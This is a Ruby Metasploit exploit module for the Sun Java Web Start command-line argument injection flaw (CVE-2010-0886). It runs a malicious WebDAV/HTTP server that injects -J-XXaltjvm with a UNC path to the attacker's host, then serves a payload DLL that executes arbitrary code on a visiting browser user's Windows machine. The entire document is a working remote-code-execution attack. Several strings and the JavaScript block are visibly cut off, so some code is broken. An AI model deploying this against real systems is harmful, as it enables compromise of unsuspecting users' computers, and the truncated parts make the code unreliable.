require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection',
'Description'=> %q{
This module exploits a flaw in the Web Start plugin component of Sun Java
Web Start. The arguments passed to Java Web Start are not properly validated.
By passing the lesser known -J option, an attacker can pass arbitrary options
directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed
by Ruben Santamarta, an attacker can execute arbitrary code in the context of
an unsuspecting browser user.
This vulnerability was originally discovered independently by both Ruben
Santamarta and Tavis Ormandy. Tavis reported that all versions since version
6 Update 10 "are believed to be affected by this vulnerability."
In order for this module to work, it must be ran as root on a server that
does not serve SMB. Additionally, the target host must have the WebClient
service (WebDAV Mini-Redirector) enabled.
},
'License'=> MSF_LICENSE,
'Author' => 'jduck',
'References' =>
[
[ 'CVE', '2010-0886' ],
[ 'CVE', '2010-1423' ],
[ 'OSVDB', '63648' ],
[ 'BID', '39346' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]
],
'Platform' => 'win',
'Payload'=>
{
'Space'=> 1024,
'BadChars' => '',
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Targets'=>
[
[ 'Automatic', { } ],
[ 'Java Runtime on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'Apr 09 2010'
))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
], self.class)
end
def auto_target(cli, request)
agent = request.headers['User-Agent']
ret = nil
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1]
else
print_status("Unknown User-Agent #{agent}")
end
ret
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
if (request.method == 'OPTIONS' and request.uri == '/')
process_options(cli, request, mytarget)
return
end
if (request.uri =~ /\.ico$/i)
send_not_found(cli)
return
end
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"
send_redirect(cli, subdir)
return
else
share_name = $1
end
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)
when 'PROPFIND'
process_propfind(cli, request, mytarget)
when 'GET'
process_get(cli, request, mytarget, share_name)
when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)
else
print_error("Unexpected request method encountered: #{request.method}")
end
end
def process_get(cli, request, target, share_name)
print_status("Responding to \"GET
if (request.uri =~ /\.dll$/i)
print_status("Sending DLL")
return if ((p = regenerate_payload(cli)) == nil)
dll_data = generate_payload_dll({ :code => p.encoded })
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
else
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
if (datastore['UNCPATH'])
unc = datastore['UNCPATH'].dup
else
unc = "\\\\" + my_host + "\\" + share_name
end
jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
docbase = rand_text_alphanumeric(8+rand(8))
if (request.uri =~ /\.shtml/i)
print_status("Sending JS version HTML")
var_str = rand_text_alpha(8+rand(8))
var_obj = rand_text_alpha(8+rand(8))
var_obj2 = rand_text_alpha(8+rand(8))
var_obj3 = rand_text_alpha(8+rand(8))
js_jnlp = "http: "
js_jnlp << jnlp.dup.gsub("\\", "\\\\\\\\")
clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
html = %Q|<html>
<body>Please wait...
<script language="javascript">
var
if (window.navigator.appName == "Microsoft Internet Explorer") {
var
} else {
try {
var
document.body.appendChild(
} catch (e) {
var
document.body.appendChild(
}
}
</script>
</body>
</html>
|
elsif (request.uri =~ /\.htm/i)
print_status("Sending non-JS version HTML")
clsids = [ '8AD9C840-044E-11D1-B3E9-00805F499D93', 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' ]
clsid = clsids[rand(clsids.length)]
html = %Q|<html>
<body>Please wait...
<object id="#{var_obj}" classid="clsid:#{clsid}"
width="0" height="0">
<PARAM name="launchjnlp" value="#{jnlp}">
<PARAM name="docbase" value="#{docbase}">
</object>
<embed type="application/x-java-applet"
width="0" height="0"
launchjnlp="#{jnlp}"
docbase="#{docbase}"
/>
</body>
</html>
|
else
print_status("Sending js detection HTML")
js_uri = rand_text_alphanumeric(8+rand(8)) + ".shtml"
no_js_uri = rand_text_alphanumeric(8+rand(8)) + ".htm"
html = %Q|<html>
<head>
<meta http-equiv="refresh" content="2;#{no_js_uri}" />
</head>
<body>
Please wait...
<script language="javascript">
document.location = "#{js_uri}";
</script>
</body>
</html>
|
end
send_response_html(cli, html,
{
'Content-Type' => 'text/html',
'Pragma' => 'no-cache'
})
end
end
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS
headers = {
'Allow'=> 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND
body = ''
if (path =~ /\.dll$/i)
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
super
end
end